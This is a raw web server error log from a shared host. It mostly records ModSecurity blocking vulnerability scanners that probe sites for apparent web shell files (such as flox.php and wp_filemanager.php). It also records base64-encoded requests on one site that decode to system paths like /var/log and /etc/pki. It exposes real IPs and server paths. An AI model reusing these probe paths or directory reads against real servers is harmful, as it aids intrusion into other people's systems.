https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvYXRrYmQvc2VyaW8wL3Bvd2Vy [Sat Jun 13 18:09:53.039743 2026] [security2:error] [pid 531797:tid 531865] [remote 57.141.14.19:52438] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xUcTA7b1mZrmcA-8epgACUwE"], referer: https://nelsonfarmstn.com/product/orange-blossom-kumquat/?add_to_wishlist=387&_wpnonce=dacad5c21f&add-to-cart=1259 [Sat Jun 13 18:09:53.200922 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.52:52416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:53.201370 2026] [access_compat:error] [pid 531155:tid 531196] [remote 57.141.14.52:52416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:53.225832 2026] [security2:error] [pid 531797:tid 531984] [remote 17.22.245.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUcTA7b1mZrmcA-8eswACk3c"] [Sat Jun 13 18:09:53.329209 2026] [security2:error] [pid 531155:tid 531316] [client 20.151.217.54:40202] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/cxl.php"] [unique_id "ai3xUSmiP80klyS0Nnr0gAAAASk"] [Sat Jun 13 18:09:53.408578 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.44:52267] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:53.409030 2026] [access_compat:error] [pid 531155:tid 531276] [remote 57.141.14.44:52267] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:53.434992 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Zhci9sb2c= [Sat Jun 13 18:09:53.435468 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Zhci9sb2c= [Sat Jun 13 18:09:53.500702 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNl [Sat Jun 13 18:09:53.501143 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvZGV2aWNl [Sat Jun 13 18:09:53.544362 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.72:52121] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:53.544822 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.72:52121] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:53.764758 2026] [security2:error] [pid 531797:tid 531945] [remote 17.241.227.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUcTA7b1mZrmcA-8e0QACd1E"] [Sat Jun 13 18:09:53.812642 2026] [security2:error] [pid 531797:tid 531887] [remote 17.246.23.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUcTA7b1mZrmcA-8e1wACLRc"] [Sat Jun 13 18:09:53.829043 2026] [security2:error] [pid 531155:tid 531159] [remote 17.241.75.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUSmiP80klyS0Nnr0jAABfgM"] [Sat Jun 13 18:09:53.916058 2026] [security2:error] [pid 531797:tid 532082] [client 191.234.188.123:64581] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/dx.php"] [unique_id "ai3xUcTA7b1mZrmcA-8e3QAAAmg"] [Sat Jun 13 18:09:53.948305 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9ldGMvcGtp [Sat Jun 13 18:09:53.948649 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9ldGMvcGtp [Sat Jun 13 18:09:53.986806 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:09:53.987227 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:09:54.006479 2026] [security2:error] [pid 531797:tid 532016] [client 191.233.234.186:60608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/dccs.php"] [unique_id "ai3xUsTA7b1mZrmcA-8e4gAAAig"] [Sat Jun 13 18:09:54.062382 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.96:49897] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:54.062682 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.96:49897] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:54.199455 2026] [security2:error] [pid 531797:tid 531972] [remote 17.22.253.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUsTA7b1mZrmcA-8e6wACbms"] [Sat Jun 13 18:09:54.412467 2026] [security2:error] [pid 531797:tid 531997] [client 20.151.217.54:65170] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/auto.php"] [unique_id "ai3xUsTA7b1mZrmcA-8e8wAAAhU"] [Sat Jun 13 18:09:54.470276 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.28:36838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:54.470627 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.28:36838] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:54.478811 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXMvYmxhYg== [Sat Jun 13 18:09:54.479233 2026] [access_compat:error] [pid 531797:tid 531955] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXMvYmxhYg== [Sat Jun 13 18:09:54.517383 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:09:54.517673 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:09:54.574859 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.18:30350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:54.575138 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.18:30350] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:54.598081 2026] [security2:error] [pid 531797:tid 532103] [client 20.151.217.54:40203] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/flox.php"] [unique_id "ai3xUsTA7b1mZrmcA-8e-wAAAnw"] [Sat Jun 13 18:09:54.674978 2026] [security2:error] [pid 531797:tid 532102] [client 172.171.3.232:23069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/ccs.php"] [unique_id "ai3xUsTA7b1mZrmcA-8e_QAAAns"] [Sat Jun 13 18:09:54.903013 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.51:48208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:54.903459 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.51:48208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:54.981227 2026] [security2:error] [pid 531797:tid 531980] [remote 17.246.15.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xUsTA7b1mZrmcA-8fEgACd3M"] [Sat Jun 13 18:09:54.989704 2026] [access_compat:error] [pid 531797:tid 531864] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXMvYmxhYg== [Sat Jun 13 18:09:54.990207 2026] [access_compat:error] [pid 531797:tid 531864] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXMvYmxhYg== [Sat Jun 13 18:09:55.065355 2026] [security2:error] [pid 531797:tid 532044] [client 172.171.3.232:2766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xU8TA7b1mZrmcA-8fFQAAAkM"] [Sat Jun 13 18:09:55.072086 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:09:55.072494 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:09:55.092255 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.77:50125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:55.092716 2026] [access_compat:error] [pid 531797:tid 531987] [remote 57.141.14.77:50125] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:55.268812 2026] [security2:error] [pid 531155:tid 531326] [client 20.151.217.54:40216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/drykl.php"] [unique_id "ai3xUymiP80klyS0Nnr0pQAAATM"] [Sat Jun 13 18:09:55.507858 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Zhci9saWI= [Sat Jun 13 18:09:55.508288 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Zhci9saWI= [Sat Jun 13 18:09:55.514974 2026] [security2:error] [pid 531797:tid 531986] [remote 57.141.14.98:40978] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xU8TA7b1mZrmcA-8fKwACMXk"], referer: https://nelsonfarmstn.com/product/purely-patchouli/?add_to_wishlist=1258&_wpnonce=dacad5c21f&add-to-cart=1256 [Sat Jun 13 18:09:55.572095 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:55.572450 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:09:55.634515 2026] [security2:error] [pid 531797:tid 532075] [client 191.234.188.123:63928] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/classwithtostring.php"] [unique_id "ai3xU8TA7b1mZrmcA-8fLgAAAmE"] [Sat Jun 13 18:09:55.638333 2026] [security2:error] [pid 531797:tid 532057] [client 172.171.3.232:21981] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/torsa1.php"] [unique_id "ai3xU8TA7b1mZrmcA-8fMAAAAk8"] [Sat Jun 13 18:09:55.675038 2026] [lsapi:warn] [pid 531797:tid 532100] [client 47.79.200.118:43444] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:09:55.675074 2026] [lsapi:warn] [pid 531797:tid 532100] [client 47.79.200.118:43444] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on 